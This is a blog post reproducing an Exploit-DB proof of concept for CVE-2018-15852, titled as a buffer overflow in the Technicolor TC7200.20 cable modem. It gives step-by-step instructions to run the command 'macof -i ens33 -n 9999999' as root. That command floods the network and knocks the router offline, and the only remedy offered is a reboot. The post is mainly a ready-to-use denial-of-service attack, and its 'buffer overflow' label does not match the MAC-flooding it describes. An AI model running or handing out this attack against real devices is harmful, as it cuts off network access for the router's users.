CVE-2018-15852 # Exploit Title:- Cable modem Technicolor TC7200.20 WiFi – Buffer Overflow

1- Connect to Technicolor TC7200.20 WiFi device/router

tech

2.Check your system connection/device information-

In Terminal,Type –  ifconfig

Screenshot_2018-08-28_01-24-01

 

3- Open terminal with “root” access=>

Type “macof -i ens33 -n 9999999” and hit enter.

Screenshot_2018-08-28_01-19-35

5- After hit enter you’ll see like this type of codes with run too fast.Screenshot_2018-08-28_01-20-04

6. Your connection will lost and you’ll not connect or surf internet access.

Screenshot_2018-08-28_01-26-31

Screenshot_2018-08-28_01-30-30

==================================================

Solutions of again internet access or connect to WIFI device:

==================================================

1- You have to reboot your router/device and Operating System also .

Screenshot_2018-08-28_01-26-16

 

Exploit-DB

# Exploit Title:- Cable modem Technicolor TC7200.20 WiFi – Buffer Overflow
# Date:- 07-08-2018
# Vendor Homepage:- https://www.technicolor.com/
# Hardware Link:- https://www.avanzada7.com/en/productos/networking/routers/tc7200-20
# Version:- Cable modem Technicolor TC7200.20 WiFi
# Category:- Hardware
# Exploit Author:- Bhabesh Kumar Das
# Tested on:- VMWare(Linux OS-BackBox)
# CVE:- CVE-2018-15852

*************************************************************************************
Proof Of Concept:-

1- Connect to Technicolor TC7200.20 WiFi
2- Open terminal =>Type “macof -i ens33 -n 9999999”
3- Hit Enter
4- After hit enter your connection will lost and you’ll not connect or surf internet access.
*************************************************************************************
Solutions of again internet access or connect to WIFI device:
1- You have to reboot your router and Operating System also .

————Thank You! ———————

One thought on “CVE-2018-15852 # Exploit Title:- Cable modem Technicolor TC7200.20 WiFi – Buffer Overflow

Leave a reply to backdoor25 Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.